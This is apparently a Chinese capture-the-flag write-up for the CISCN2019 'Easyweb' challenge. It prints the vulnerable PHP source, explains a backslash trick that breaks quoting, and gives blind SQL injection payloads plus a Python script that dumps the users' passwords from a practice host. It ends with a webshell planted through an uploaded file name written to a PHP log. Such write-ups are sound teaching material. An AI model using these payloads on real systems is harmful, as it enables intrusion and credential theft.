[CISCN2019 总决赛 Day2 Web1]Easyweb ----不会编程的崽

CISCN的题质量还是很高的。

又是这熟悉的登陆界面。爆破?sql?还是xxe等。先看源码

 

估摸着也是sql注入。但似乎不是常规注入。同时扫描后台的结果应该也出来了,发现robots.txt

 有点懵,后边看了大佬的wp才知道,提示的是*.php.bak。怎么我的题和他们的不一样呢?算了,   不重要,后台源文件是image.php.bak

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

看的出来的确是sql注入,但是要绕过一点点东西。 

1.addslashes():这个函数的作用是在字符串中的特定字符前添加反斜杠。特定字符包括单引号 (')、双引号 (")、反斜杠 (\) 和 NULL 字符。例如,如果有一个字符串 $str = "It's a nice day";通过使用 addslashes 函数,可以将字符串转义为 "It\'s a nice day"

2.str_replace(array("\\0","%00","\\'","'"),"",$id); : 这行代码的作用是将$id字符串中的\0%00\''这四个子字符串替换为空字符串(前面第一个 \ 是用来转义的,使其不被解释为其原始含义,而是作为普通字符处理)。

3.因为要sql注入,所有要破开引号。但是引号被转义。若是当我输入"?id=\0",经过ddslashes() -->

"?id=\\0"经过str_replace ---> "?id=\" 。然后sql语句就变了这样

select * from images where id='\' or path='{$path}'

这样由于"\"右边的引号被转义,导致原有的sql语句引号闭合发生错误。相当于id=\' or path= 。然后就可以对path进行sql注入。

?id=\0&path=or%201=1%23
select * from images where id='\' or path='or 1=1%23'

闭合太巧妙了!!! 

既然可以sql注入那就,写脚本吧。先构造payload

url = 'http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=database()),1,1))=102)%23
url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),1,1))=102)%23
url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(password))from(users)),1,1))=102)%23

 1.因为我们要传入\0,而脚本也就将\当作转义字符,所以脚本里得写\\0.

2.因为引号被转义了,所以注入语句里要将users--16进制-->0x7573657273

运行脚本即可

import requests

flag=''
#url='http://73a45cbc-48af-4a46-99b7-3d6f5a2ece0d.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27geek%27),1,1))=70)'
for i in range(1,500,1):
    for y in range(1,128,1):
        #url = 'http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=database()),'+str(i)+',1))='+str(y)+')%23'
        #url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),'+str(i)+',1))='+str(y)+')%23'
        url='http://7d5885a3-682e-4e7a-b1b6-f4de47dae856.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(password))from(users)),'+str(i)+',1))='+str(y)+')%23'
        data=requests.get(url)
        if "JFIF" in str(data.content):
            flag=flag+chr(y)
            print(flag)
            break

 

拿到密码。账号是admin,也是注入出来的,这里我没写。拿去登录

 

斯,文件上传 。不能上传php后缀的文件。随便写一个吧。发现它是将文件名写进了日志。日志还是php文件。那不就简单了,直接将文件名改成木马

拿蚁剑去连接就行了

质量还是很高的题目。 

  • 14
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值